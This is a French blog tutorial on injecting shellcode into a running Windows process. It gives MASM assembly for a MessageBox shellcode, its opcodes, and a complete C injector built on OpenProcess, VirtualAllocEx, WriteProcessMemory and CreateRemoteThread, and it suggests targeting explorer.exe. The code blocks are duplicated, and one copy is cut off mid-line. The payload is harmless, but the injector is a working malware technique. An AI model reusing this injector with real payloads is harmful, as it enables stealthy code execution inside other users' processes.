On va essayer d'étudier tout ça pas à pas. D'abord, on va concevoir un shellcode qui fera appel à la fonction MessageBox(), puis, après l'avoir convenablement testé, on l'injectera dans un processus au choix.
Ce shellcode sera injecté dans un "thread" nouvellement créé dans le processus ciblé. On aura donc notre shellcode qui s'exécutera en parallèle avec les autres instructions "normales" du processus.
/!\ Je vais sauter pas mal de concepts dans cet article. Effectivement, je ne parlerai pas de "comment trouver l'adresse d'une fonction dans une DLL" et j'en passe. Cependant, je fournirai tous les outils nécessaires + résumés des codes sources à la fin de l'article.
I] Le shellcode
La structure du shellcode se divise en trois étape :
- Charger en mémoire user32.dll (LoadLibrary() <==> http://msdn.microsoft.com/en-us/library/ms684175(VS.85).aspx) ;
- Appeler la fonction MessageBox (MessageBox() <==> http://msdn.microsoft.com/en-us/library/ms645505(VS.85).aspx) ;
- Terminer le thread (ExitProcess() <==> http://msdn.microsoft.com/en-us/library/ms682658(VS.85).aspx).
Voici ce que j'ai pondu sous masm32 :
.386
.model flat, stdcall
option casemap: none
.code
start: jmp DllUser32
suite: mov edx, [esp]
mov [edx+10], al
mov edi, 7c801d77h ; adresse de LoadLibraryA
call edi
xor eax, eax
push eax
jmp TitreMsgBox
suite2: mov edx, [esp]
xor eax, eax
mov [edx+11], al
jmp MsgMsgBox
suite3: mov edx, [esp]
xor eax, eax
mov [edx+14], al
push eax
mov edi, 77d5050bh ; adresse de MessageBoxA
call edi
xor eax, eax
push eax
mov edi, 7c81cdeah ; adresse de ExitProcess
call edi
DllUser32: call suite
DllName db "user32.dll",255
TitreMsgBox: call suite2
Titre db "Successful!",255
MsgMsgBox: call suite3
Message db "Code injecté !",255
end start
.model flat, stdcall
option casemap: none
.code
start: jmp DllUser32
suite: mov edx, [esp]
mov [edx+10], al
mov edi, 7c801d77h ; adresse de LoadLibraryA
call edi
xor eax, eax
push eax
jmp TitreMsgBox
suite2: mov edx, [esp]
xor eax, eax
mov [edx+11], al
jmp MsgMsgBox
suite3: mov edx, [esp]
xor eax, eax
mov [edx+14], al
push eax
mov edi, 77d5050bh ; adresse de MessageBoxA
call edi
xor eax, eax
push eax
mov edi, 7c81cdeah ; adresse de ExitProcess
call edi
DllUser32: call suite
DllName db "user32.dll",255
TitreMsgBox: call suite2
Titre db "Successful!",255
MsgMsgBox: call suite3
Message db "Code injecté !",255
end start
J'utilise la fameuse ruse du call pour empiler les chaînes de caractères correspondants aux arguments de la fonction à appeler.
La fonction MessageBox(), comme le décrit la MSDN, comprend 4 arguments. Le premier et le dernier ne nous intéressent pas particulièrement ; on se contentera juste de donner un titre et un texte à la boîte de message.
Bref, on traduit la source assembleur en opcodes et on a :
\xEB\x36\x8B\x14\x24\x88\x42\x0A\xBF\x77\x1D\x80\x7C\xFF\xD7
\x33\xC0\x50\xEB\x34\x8B\x14\x24\x33\xC0\x88\x42\x0B\xEB\x3B\x8B\x14\x24\x33\xC0
\x88\x42\x0E\x50\xBF\x0B\x05\xD5\x77\xFF\xD7\x33\xC0\x50\xBF\xEA\xCD\x81\x7C\xFF
\xD7\xE8\xC5\xFF\xFF\xFF\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\xFF\xE8\xC7\xFF
\xFF\xFF\x53\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x21\xFF\xE8\xC0\xFF\xFF\xFF\x43
\x6F\x64\x65\x20\x69\x6E\x6A\x65\x63\x74\xE9\x20\x21\xFF
\x33\xC0\x50\xEB\x34\x8B\x14\x24\x33\xC0\x88\x42\x0B\xEB\x3B\x8B\x14\x24\x33\xC0
\x88\x42\x0E\x50\xBF\x0B\x05\xD5\x77\xFF\xD7\x33\xC0\x50\xBF\xEA\xCD\x81\x7C\xFF
\xD7\xE8\xC5\xFF\xFF\xFF\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\xFF\xE8\xC7\xFF
\xFF\xFF\x53\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x21\xFF\xE8\xC0\xFF\xFF\xFF\x43
\x6F\x64\x65\x20\x69\x6E\x6A\x65\x63\x74\xE9\x20\x21\xFF
II] Le processus
La partie que je maîtrise le moins, puisque je la découvre. On va devoir faire un "exploit" (si je puis me permettre d'utiliser un tel terme) qui va ouvrir le processus courant via OpenProcess() (http://msdn.microsoft.com/en-us/library/ms684320(VS.85).aspx). Ensuite, il va falloir réserver de la mémoire dans le processus courant. Comme un malloc(), si vous voulez. La taille de la mémoire sera égale à la taille de notre shellcode. On fera ça avec la fonction VirtualAllocEx() (http://msdn2.microsoft.com/en-us/library/aa366890.aspx).
Dans cette mémoire allouée dynamiquement, on y écrira notre shellcode. L'API Win32 nous fournit une fonction qui le permet : WriteProcessMemory() http://msdn.microsoft.com/en-us/library/ms681674(VS.85).aspx).
Ensuite, on créé un Thread qui va exécuter la fonction qui correspond à notre shellcode : CreateRemoteThread() (http://msdn2.microsoft.com/en-us/library/ms682437.aspx).
On aura aussi besoin d'autres fonctions pour libérer la mémoire et cie.
Concernant les processus, ils sont identifiés par ce qu'on appelle les "PID" (process identifier). Effectivement, il se peut qu'il y ait, sur une machine, deux instances notepad qui sont en route. Les processus ont le même nom, mais pas le même PID.
Il faudra donc se servir d'une fonction qui retournera le PID du processus en fonction de son nom. Pour cela, on fera une boucle qui parcourra nos processus jusqu'à ce que le nom soit exact.
Voici le code d'0vercl0k que j'ai un peu retapé, avec mon shellcode :
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
long ProcessNameToPid(char* process);
int InjectShellcodeIntoProcess(DWORD PidProcess);
int main(int argc ,char** argv)
{
if(argc < 2) {
printf("Utilisation : %s\n", argv[0]);
exit(-1);
}
if(InjectShellcodeIntoProcess( ProcessNameToPid(argv[1]) ) ) {
printf("Injection reussie !\n");
} else {
printf("Injection echouee... Peut-etre que le processus n'existe pas ?\n");
}
return 0;
}
long ProcessNameToPid(char* process)
{
// snapshot qui servira à "photographier" les processus,
// recueillir leurs informations, quoi.
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 structprocsnapshot = {0};
// On initialise dwSize, sans quoi on ne pourra lister aucun processus
structprocsnapshot.dwSize = sizeof(PROCESSENTRY32);
if(snapshot == INVALID_HANDLE_VALUE) return 0;
// Process32First trouve le premier processus
if(Process32First(snapshot,&structprocsnapshot) == FALSE) return 0;
// Tant qu'il y a des processus à lister
while(Process32Next(snapshot,&structprocsnapshot) )
{
// On a trouvé notre processus ? On retourne son PID
if(!strcmp(structprocsnapshot.szExeFile,process))
{
CloseHandle(snapshot);
return structprocsnapshot.th32ProcessID;
}
}
CloseHandle(snapshot);
return 0;
}
int InjectShellcodeIntoProcess(DWORD PidProcess)
{
char sh[] =
"\xEB\x36\x8B\x14\x24\x88\x42\x0A\xBF"
"\x77\x1D\x80\x7C\xFF\xD7\x33\xC0\x50"
"\xEB\x34\x8B\x14\x24\x33\xC0\x88\x42"
"\x0B\xEB\x3B\x8B\x14\x24\x33\xC0\x88"
"\x42\x0E\x50\xBF\x0B\x05\xD5\x77\xFF"
"\xD7\x33\xC0\x50\xBF\xEA\xCD\x81\x7C"
"\xFF\xD7\xE8\xC5\xFF\xFF\xFF\x75\x73"
"\x65\x72\x33\x32\x2E\x64\x6C\x6C\xFF"
"\xE8\xC7\xFF\xFF\xFF\x53\x75\x63\x63"
"\x65\x73\x73\x66\x75\x6C\x21\xFF\xE8"
"\xC0\xFF\xFF\xFF\x43\x6F\x64\x65\x20"
"\x69\x6E\x6A\x65\x63\x74\xE9\x20\x21\xFF";
long tailleStringSh = strlen(sh);
// On ouvre le processus via OpenProcess
HANDLE handleProcess = OpenProcess(PROCESS_ALL_ACCESS , FALSE , PidProcess);
// Le processus n'existe pas ? On retourne 0
if(handleProcess == NULL)return 0;
// Reservation et écriture dans la mémoire du processus via VirtualAllocEx
LPVOID addrEspaceReserve = VirtualAllocEx( handleProcess , NULL , tailleStringSh , MEM_COMMIT , PAGE_EXECUTE_READWRITE);
// Erreur ? On retourne 0
if(addrEspaceReserve == NULL)
return 0;
// VirtualAllocEx a retourné un pointeur sur notre zone. On s'en sert
// pour y écrire dedans via WriteProcessMemory
int retourFonctionWrite = WriteProcessMemory( handleProcess , addrEspaceReserve , sh , tailleStringSh , 0);
// Erreur ? On retourne 0
if(retourFonctionWrite == 0)
return 0;
// On créé le thread
DWORD identificateurThread ;
HANDLE retourFonctionCreate = CreateRemoteThread( handleProcess , NULL , 0 , (LPTHREAD_START_ROUTINE)addrEspaceReserve , NULL , 0 , &identificateurThread ); // CreateRemoteThread() -> http://msdn2.microsoft.com/en-us/library/ms682437.aspx.
if(retourFonctionCreate == NULL)
return 0;
// Boucle qui va attendre qu'il y ait des interactions entre le processus
// et l'environnement
WaitForSingleObject(retourFonctionCreate,INFINITE);
// On libère la mémoire allouée
VirtualFreeEx( handleProcess , addrEspaceReserve , 0 , MEM_DECOMMIT);
// On ferme nos handles
CloseHandle(handleProcess);
CloseHandle(retourFonctionCreate);
return 1;
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
long ProcessNameToPid(char* process);
int InjectShellcodeIntoProcess(DWORD PidProcess);
int main(int argc ,char** argv)
{
if(argc < 2) {
printf("Utilisation : %s
exit(-1);
}
if(InjectShellcodeIntoProcess( ProcessNameToPid(argv[1]) ) ) {
printf("Injection reussie !\n");
} else {
printf("Injection echouee... Peut-etre que le processus n'existe pas ?\n");
}
return 0;
}
long ProcessNameToPid(char* process)
{
// snapshot qui servira à "photographier" les processus,
// recueillir leurs informations, quoi.
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 structprocsnapshot = {0};
// On initialise dwSize, sans quoi on ne pourra lister aucun processus
structprocsnapshot.dwSize = sizeof(PROCESSENTRY32);
if(snapshot == INVALID_HANDLE_VALUE) return 0;
// Process32First trouve le premier processus
if(Process32First(snapshot,&structprocsnapshot) == FALSE) return 0;
// Tant qu'il y a des processus à lister
while(Process32Next(snapshot,&structprocsnapshot) )
{
// On a trouvé notre processus ? On retourne son PID
if(!strcmp(structprocsnapshot.szExeFile,process))
{
CloseHandle(snapshot);
return structprocsnapshot.th32ProcessID;
}
}
CloseHandle(snapshot);
return 0;
}
int InjectShellcodeIntoProcess(DWORD PidProcess)
{
char sh[] =
"\xEB\x36\x8B\x14\x24\x88\x42\x0A\xBF"
"\x77\x1D\x80\x7C\xFF\xD7\x33\xC0\x50"
"\xEB\x34\x8B\x14\x24\x33\xC0\x88\x42"
"\x0B\xEB\x3B\x8B\x14\x24\x33\xC0\x88"
"\x42\x0E\x50\xBF\x0B\x05\xD5\x77\xFF"
"\xD7\x33\xC0\x50\xBF\xEA\xCD\x81\x7C"
"\xFF\xD7\xE8\xC5\xFF\xFF\xFF\x75\x73"
"\x65\x72\x33\x32\x2E\x64\x6C\x6C\xFF"
"\xE8\xC7\xFF\xFF\xFF\x53\x75\x63\x63"
"\x65\x73\x73\x66\x75\x6C\x21\xFF\xE8"
"\xC0\xFF\xFF\xFF\x43\x6F\x64\x65\x20"
"\x69\x6E\x6A\x65\x63\x74\xE9\x20\x21\xFF";
long tailleStringSh = strlen(sh);
// On ouvre le processus via OpenProcess
HANDLE handleProcess = OpenProcess(PROCESS_ALL_ACCESS , FALSE , PidProcess);
// Le processus n'existe pas ? On retourne 0
if(handleProcess == NULL)return 0;
// Reservation et écriture dans la mémoire du processus via VirtualAllocEx
LPVOID addrEspaceReserve = VirtualAllocEx( handleProcess , NULL , tailleStringSh , MEM_COMMIT , PAGE_EXECUTE_READWRITE);
// Erreur ? On retourne 0
if(addrEspaceReserve == NULL)
return 0;
// VirtualAllocEx a retourné un pointeur sur notre zone. On s'en sert
// pour y écrire dedans via WriteProcessMemory
int retourFonctionWrite = WriteProcessMemory( handleProcess , addrEspaceReserve , sh , tailleStringSh , 0);
// Erreur ? On retourne 0
if(retourFonctionWrite == 0)
return 0;
// On créé le thread
DWORD identificateurThread ;
HANDLE retourFonctionCreate = CreateRemoteThread( handleProcess , NULL , 0 , (LPTHREAD_START_ROUTINE)addrEspaceReserve , NULL , 0 , &identificateurThread ); // CreateRemoteThread() -> http://msdn2.microsoft.com/en-us/library/ms682437.aspx.
if(retourFonctionCreate == NULL)
return 0;
// Boucle qui va attendre qu'il y ait des interactions entre le processus
// et l'environnement
WaitForSingleObject(retourFonctionCreate,INFINITE);
// On libère la mémoire allouée
VirtualFreeEx( handleProcess , addrEspaceReserve , 0 , MEM_DECOMMIT);
// On ferme nos handles
CloseHandle(handleProcess);
CloseHandle(retourFonctionCreate);
return 1;
}
Le code propre est disponible ici : http://venom630.free.fr/geo/blog/injshproc/injectcodeintoprocess.html
A noter que si vous cliquez sur "OK" de la boîte de message, vous provoquez un ExitProcess(). Donc le processus se ferme. Essayez sur explorer.exe, ça peut-être marrant.
Conclusion
Vous êtes - normalement - capable d'injecter du code dans un processus lointain. Pour bien tout comprendre, la MSDN est à consulter, et le vocabulaire est à comprendre (threads, snapshots, ... ...).
Vous pourrez trouver tous les outils/sources qui se réfèrent à l'article ici : http://venom630.free.fr/geo/?path=blog/injshproc.
Merci à 0vercl0k pour m'avoir permis de faire cet article.
Geo




[/caption]
[/caption]